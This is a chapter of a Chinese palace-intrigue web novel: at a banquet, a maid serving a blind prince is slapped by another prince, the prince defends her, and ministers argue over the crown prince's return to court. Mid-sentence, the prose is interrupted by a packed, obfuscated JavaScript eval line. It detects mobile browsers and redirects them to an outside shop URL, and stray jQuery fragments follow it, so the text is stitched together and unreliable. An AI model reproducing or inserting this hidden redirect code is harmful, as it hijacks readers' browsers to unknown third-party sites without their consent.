酒过数巡,殿中礼乐正盛。
满月宴已过半,殿内觥筹交错,群臣皆带笑意。
皇帝今日格外开怀,案上的酒饮了不少,连往日不轻易显露的笑容也多了几分。
“来,再满上一杯。”皇帝举杯,望向殿中众臣,“今日是朕的嫡孙满月,朕高兴,诸位爱卿也不必拘谨。”
礼部尚书率先起身,执杯贺道:“臣恭贺陛下喜得嫡孙,天潢毓秀,宗祧有继,实乃祖宗庇护,社稷之福。臣谨祝皇孙福泽绵长,大梁国运昌盛!”
皇帝龙颜大悦,举杯笑道:“好一个'宗祧有继',爱卿有心了。”
众人齐齐起身,举杯恭贺:“臣等恭贺陛下!”
皇上饮尽杯中的酒,目光转向太子和太子妃,脸上的笑意更深。
“太子与太子妃也辛苦了。”
太子夫妇立即端起酒杯起身:“儿臣不敢言辛苦。皇儿能平安降世,是父皇洪福,也是祖宗庇佑,儿臣与太子妃不过尽了本分。”
皇帝看着他,淡淡笑了一声:“做父母的,自然都说是本分,可养育孩子,又岂是容易之事。”
太子妃低头应道:“父皇说的是。”
桌上的菜肴已陆续上齐。
今日宫宴虽是盛宴,却没有寻常宴席那般拘谨,除了宫女偶尔上前添酒布菜,其余宾客皆自行用膳,殿中觥筹交错,倒也显得热闹许多。
唯独岑王席前需要有人随侍。
卫意自始至终站在他身侧,一举一动自然更显眼些。
她今日的活就是替他记着桌上的菜色,再将适合入口的菜夹到他碗中。
“王爷,桌上有老少相宜、芙蓉蟹斗、烤乳鸽、核桃鸭方、火腿炖肘子,还有牛乳酥烙。”卫意将宫女报过的菜名重新轻声给报了一遍,“您想用哪一道?”
岑王侧耳听着,淡声问道:“老少相宜是什么?”
卫意拿起勺子,在那道汤品中轻轻搅了搅。
“是嫩笋炖老鸡汤。”她想了想,又补了一句,“汤炖得很浓,您可以尝尝。”
岑王点了点头:“那来一点吧。”
“是。”
卫意端起他的碗,先替他盛了汤和嫩笋,但是这道汤里的鸡并未剔骨切块,而是半只老鸡。
她看着汤中的鸡肉,眉头微微皱起,若是在府里,她自然可以让下人提前处理好,再端上桌。
可今日是在宫中,桌案之上没有多余的碗碟,手边也只有筷子与勺子,她总不能当着满殿人的面,直接伸手撕肉。
卫意想起平日里新宁替她处理肉食的模样,便学着她的动作,用勺子压住鸡肉,再用筷子一点点撕扯。
谁知老鸡虽炖得软烂,筋骨却仍有韧劲。
她一时用力过猛,鸡肉没有分开,反倒带动汤水晃了一下溅了几滴到桌案上。
卫意动作瞬间僵住,正要收拾。
下一刻,上首传来皇后的声音。
“岑王。”皇后语气有些责备,“你这丫鬟怎么毛毛躁躁的,这点小事都做不好。”
卫意心中一紧,立即放下手中的东西,退到岑王身后,垂首侍立。
殿内所有人的目光都落在卫意身上。
皇后看着她,淡淡道:“伺候旁人用膳,本就是要细致稳妥,更何况岑王双目不便,身边伺候的人更该谨慎。”
卫意低着头,不敢辩解,皇后说的是事实没错。
岑王放下酒杯,淡声道:“回皇后娘娘,她是府中新来的丫鬟,第一次随儿臣入宫,不熟悉宫中规矩,一时失手罢了,娘娘莫要责怪。”
一句话,算是替她解了围。
皇后看了岑王一眼,没有再追究,随口叮嘱一句:“既然如此,日后要严加管教才是。”
卫意刚暗暗松了一口气。
啪!
一个清脆的声音响彻殿中,整个大殿瞬间安静下来。
卫意只觉脸上一阵火辣,她甚至没有看清是谁动的手,身体险些没站稳,晃了一下,心里不断地提醒自己:这里是宫中,千万不要意气用事。
四周一片寂静,竟有人敢在皇后与皇帝面前,直接掌掴一个王府侍女。
“十弟。”
岑王带着几分冷意的声音,打破了殿中的沉默。
原来扇卫意的人是十王爷,是了,离她最近且有这个权利随意处置下人的,除了十王爷没别的人了。
卫意视线死死盯着地面,强忍住泪水不让它滴下来,一双标志着权利的脚站在卫意面前,脚尖对着岑王座位侧边。
“六哥。”十王爷神色坦然,仿佛只是做了一件微不足道的小事,“臣弟不过替六哥管教一个不懂规矩的奴婢。”
岑王没有立即回答,他只是微微侧过脸,似乎在辨认肃王的位置。
“替我管教?”
“正是。”
岑王轻轻笑了一声:“我倒是不知,皇弟已经可以随意替兄长处置府中之人了。”
十王爷脸色微变。
“臣弟并无此意。”
“那皇弟今日所为,又是什么意思?”岑王语气平静地质问,“下人犯了错,本王自会处置,皇弟今日当众出手,未免操心太过。”
“皇兄误会了,臣弟不过是看不过一个奴婢失礼。”
“看不过,也不必亲自动手。”
十王爷一时无言。
就在气氛僵持之时,太子温声开口。
“好了。”
“二位兄弟何必为了一个小小的误会伤了和气。”太子的声音不疾不徐,带着储君惯有的沉稳,“十弟也是一片好意,只是太贸然了些。”
说完,他又看向岑王:“六弟,这丫鬟既然是你府中的人,该如何处置,自然由你决定。”
一句话,看似两边都不得罪,既给了十王爷台阶,也维护了岑王的颜面。
岑王微微颔首:“多谢太子殿下。”
十王爷见太子开口,冷哼一声,只能压下不满,重新回到席位。
殿内气氛这才重新缓和。
卫意站在岑王身后,脸颊仍有些发麻,她看着他的背影,心中复杂。
皇后看着这一幕,眸色微深。
片刻后,她忽然开口:“说起来,本宫倒想起一件事。岑王,本宫之前不是赏了一个宫女去伺候你?她在宫中多年,最是懂规矩,像今日这样的场合,若由她随侍在你身边,也不会让你身边的人闹出这样的差错。”
岑王神色不变,解释道:“府中事务繁多,小纯留在府中帮忙打理。”
“原来如此,既然这样,本宫再给你挑一个便是。”皇后轻轻颔首,目光扫过卫意,“伺候你的人,还是要经过仔细挑选,毕竟你身子不便,身边的人若不可靠,终究是不妥。”
卫意听了这话又紧张起来,她知道皇后这句话不是商量。
若岑王答应,她便会被换下,离开了这殿保不住准会被其他人拉去教训一顿,届时还不知能不能活着出宫。
她忍不住抬眸看向岑王的背影。
可那道身影依旧挺拔平静,看不出半分情绪。
正因如此,她心中反而更加忐忑。
“谢娘娘。”岑王缓缓开口,“不过还是不必了,儿臣已经习惯专人伺候,她虽第一次入宫,但平日做事尚算细心。今日或许是因为紧张,往后熟悉便好。”
卫意微微一怔,她没想到岑王会这样直接拒绝。
皇后看着岑王又看看卫意,笑了一下:“罢了,既然你觉得合适,便留着吧,只是日后还需多管教。”
“娘娘放心,儿臣定会严加管教府中下人。”
岑王应下,此事也算是告一段落了。
卫意紧绷着的心这才一点点放松了下来,她重新上前擦拭桌上的汤水,替岑王整理碗筷。
只是方才那一巴掌惊惧尚未完全散去,她动作间仍带着几分小心翼翼。
待人们的注意力从他们身上分散开,她用只有身旁的岑王能听见的声音,轻声道:
“谢王爷。”
岑王手中的酒杯微微一顿。
“谢什么?”
“自然是谢王爷方才替我解围,若不是王爷开口,恐怕……”
卫意低着头,手中不停地给王爷碗中夹菜,后面的话她没有继续说下去,两人都心知肚明。
岑王淡淡道:“你倒是知道害怕,白日时那副嚣张的模样哪去了。”
卫意被他这一呛也不生气,自嘲道:“我胆小得很。”
经过这一番波折,席上的气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756389|207267||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
氛又渐渐恢复了热络。
可此时,坐在下首的一名大臣起身,端杯向皇帝行礼。
“陛下。”
皇帝含笑看向他。
“今日皇孙满月,乃皇室大喜之事。臣见太子殿下得此嫡子,心中甚慰。”他说着朝太子一礼,“太子殿下仁厚,臣等皆知,只是臣以为,太子殿下身负储君之责,如今朝中诸事繁多,若能早日回朝为陛下分忧,亦是天下之福。”
此话一出,殿中的声音又渐渐低了下来。
卫意握着酒壶的手微微一顿,她虽不懂朝堂之事,却也听出了其中的微妙。
这位大臣,分明是在替太子求情。
皇帝没有立即开口,只是端起酒杯轻抿了一口,一旁的皇后神色未变。
坐在前方的另一名大臣笑着接过话。
此人卫意认识,正是杨福琪的父亲。
“李大人所言倒也有理,不过……”他故意停顿了一下,“太子殿下乃国之储君,更应以身作则。此前之事,陛下虽已宽仁处置,可若尚未反省彻底便重新参与朝政,只怕会让朝臣不知该如何自处。”
此言一出,方才替太子说话的大臣脸色微沉。
“杨大人此话未免严重,太子殿下乃陛下亲立储君,岂会不知轻重?”
杨大人笑了笑:“李大人误会了,臣并非质疑太子殿下,只是储君之位关乎江山社稷,任何事情都不可草率。”
他的话字里行间却藏着另一层意思:太子此前既有过失,如今便不宜过早重新执掌朝政。
“诸位大臣。”太子终于开口,他的声音温和有力:“本宫此前确有不足之处,父皇责罚,也是为了让本宫知错改过。身为储君,自当谨记教训,至于其余之事,一切皆听父皇安排。”
太子将所有主动权都交还给皇帝,既没有急着争取,也没有显露半分怨怼。
殿中不少大臣暗暗交换眼色。
“太子殿下已经受罚多日,如今皇侄满月,朝中诸事又繁杂,若能有人替父皇分担些许,也是好事。”岑王却在这时淡声开口
卫意一怔,她没想到岑王会在这个时候替太子说话。
帝后的目光同时落在岑王身上,皇后手指轻轻摩挲着杯沿,眸色微沉。
岑王不开口还好,一开口就又有一名大臣站起,将话锋转向岑王。
“岑王这些年也辛苦了,王爷身子不便,养病多年,陛下体恤,一直让殿下安心休养。只是前些日子听闻殿下身体有所好转,重新入朝听政,臣等自然欣慰。”他说着,语气一转,“但是臣听闻,岑王复朝不久,便曾在朝堂之上提出异议,阻拦了吏部一项调任安排,王爷虽是为了朝廷考虑,可朝中诸事,终究还是应由群臣共同商议为妥。”
卫意心中一震,原来这些人真正想对付的,不只是太子,还有岑王。
她忍不住看向岑王,只见他依旧神色平静,仿佛早已料到会有这一幕。
岑王淡淡道:“诸位大人言重了,本王不过是在朝堂之上说了几句自己的看法,至于是否采纳,自有父皇和诸位大臣决断。”
那大臣笑道:“王爷谦虚了,若您当真只是说几句话,又怎会让吏部重新斟酌那项调任?”
岑王没有回答,只是端起酒杯轻轻抿了一口,淡淡道:
“本王虽在府中养病,却从未忘记替父皇分忧。朝中诸事,本就是群臣共同商议,若只因有人提出不同见解,便认定是在干涉朝政,未免有失公允。如此一来,本王是否也可以怀疑,诸位大人今日所言,另有深意?”
“王爷误会了,臣并无此意。”那大臣连忙拱手。
卫意听着这些话,只觉得心中发沉,直到此刻,她才真正看清这个看似冷清沉寂的岑王,在宫中的处境远没有她想象中简单。
帝后始终没有出言制止他们,只静静看着殿中的众人。
直到气氛渐渐落入冰点,皇后才笑着开口:
“好了,诸位爱卿皆是忧心国事,本宫也知道你们一片忠心。朝政之事,待日后朝堂之上再议,莫要让这些争论坏了今日的兴致。”
皇后轻描淡写地将话题带过,那几位大臣只得就此打住。皇帝没有多言,只是端起酒杯轻抿了一口,殿中众人的心思,他自然看在眼里。